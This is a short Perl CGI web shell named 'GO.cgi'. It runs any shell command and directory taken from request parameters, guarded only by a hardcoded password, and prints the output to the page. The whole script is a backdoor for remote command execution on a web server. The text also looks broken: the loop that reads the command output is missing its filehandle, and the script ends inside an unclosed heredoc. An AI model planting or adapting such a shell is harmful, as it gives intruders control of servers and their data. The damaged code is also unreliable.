#!/usr/bin/perl
#change this password; for power security - delete this file =)
$pwd='adm';
print "Content-type: text/html\n\n";
&read_param();
if (!defined$param{dir}){$param{dir}="/"};
if (!defined$param{cmd}){$param{cmd}="ls -la"};
if (!defined$param{pwd}){$param{pwd}='ter'};
print << "[kalabanga]";
GO.cgi
Current request is:
[kalabanga]
print "cd $param{dir}&&$param{cmd}";
print << "[kalabanga]";
|
Answer for current request is:
[kalabanga]
if ($param{pwd} ne $pwd){print "user invalid, please replace user";}
else {
open(FILEHANDLE, "cd $param{dir}&&$param{cmd}|");
while ($line=){print "$line";};
close (FILEHANDLE);
};
print << "[kalabanga]";
|